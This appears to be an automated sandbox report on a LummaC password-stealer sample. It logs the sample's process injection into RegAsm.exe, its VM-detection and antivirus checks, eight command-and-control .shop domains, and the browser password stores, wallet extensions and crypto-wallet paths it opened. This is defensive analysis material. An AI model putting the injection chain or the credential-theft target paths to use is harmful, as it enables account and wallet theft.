Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00401740	1_2_00401740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00403770	1_2_00403770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00405890	1_2_00405890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00406C20	1_2_00406C20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0041DD72	1_2_0041DD72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00426E67	1_2_00426E67
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00426F29	1_2_00426F29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00426FA0	1_2_00426FA0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00408C90 appears 42 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004092E0 appears 159 times

Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe, 00000000.00000000.1546380141.0000000000430000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameQuestion.exeJ vs SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe
Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe, 00000000.00000002.1548422050.0000000000ACE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe
Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Binary or memory string: OriginalFilenameQuestion.exeJ vs SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@1/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0042A936 CoCreateInstance,

1_2_0042A936

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Mutant created: NULL

Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	ReversingLabs: Detection: 73%
Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Virustotal: Detection: 76%

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\ka7c6p6\obj\Release\Question.pdbT2n2 `2_CorExeMainmscoree.dll source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe
Source:	Binary string: C:\ka7c6p6\obj\Release\Question.pdb source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Static PE information: 0x8AD735A1 [Sun Oct 25 04:22:57 2043 UTC]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0043F5AC push esi; retn 0048h	1_2_0043F5AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0043FC64 push eax; iretd	1_2_0043FC65
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00440C13 push ecx; ret	1_2_00440C17
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0043FC98 push AA77266Eh; iretd	1_2_0043FC9D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0043FD86 pushfd ; ret	1_2_0043FD87
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0043DF3C push ebx; ret	1_2_0043DF3E

Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Static PE information: section name: .text entropy: 7.996781792059311

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Memory allocated: D80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Memory allocated: 2770000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Memory allocated: 4770000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe TID: 5756	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6692	Thread sleep time: -60000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: RegAsm.exe, 00000001.00000002.1628176324.0000000001141000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.1628176324.00000000010FA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_00435B70 LdrInitializeThunk,

1_2_00435B70

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Code function: 0_2_02772565 CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,

0_2_02772565

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe, 00000000.00000002.1549513074.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: wifeplasterbakewis.shop
Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe, 00000000.00000002.1549513074.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: mealplayerpreceodsju.shop
Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe, 00000000.00000002.1549513074.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: bordersoarmanusjuw.shop
Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe, 00000000.00000002.1549513074.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: suitcaseacanehalk.shop
Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe, 00000000.00000002.1549513074.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: absentconvicsjawun.shop
Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe, 00000000.00000002.1549513074.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: pushjellysingeywus.shop
Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe, 00000000.00000002.1549513074.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: economicscreateojsu.shop
Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe, 00000000.00000002.1549513074.0000000003775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: entitlementappwo.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43C000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43F000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44A000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: DFB008	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegAsm.exe, 00000001.00000002.1628176324.0000000001194000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6796, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000001.00000002.1627925155.0000000000BD9000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: AWallets/ElectrumA
Source: RegAsm.exe, 00000001.00000002.1627925155.0000000000BD9000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: AWallets/JAXX New VersionAg
Source: RegAsm.exe, 00000001.00000002.1627925155.0000000000BD9000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: Awindow-state.json-
Source: RegAsm.exe, 00000001.00000002.1628176324.0000000001141000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: RegAsm.exe, 00000001.00000002.1628176324.0000000001194000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: RegAsm.exe, 00000001.00000002.1627925155.0000000000BD9000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: Aapp-store.jsonAWallets/BinanceC:\Users\user\AppData\Roaming\Binance%appdata%\Binance
Source: RegAsm.exe, 00000001.00000002.1628176324.0000000001141000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: RegAsm.exe, 00000001.00000002.1628176324.0000000001141000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: RegAsm.exe, 00000001.00000002.1628176324.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
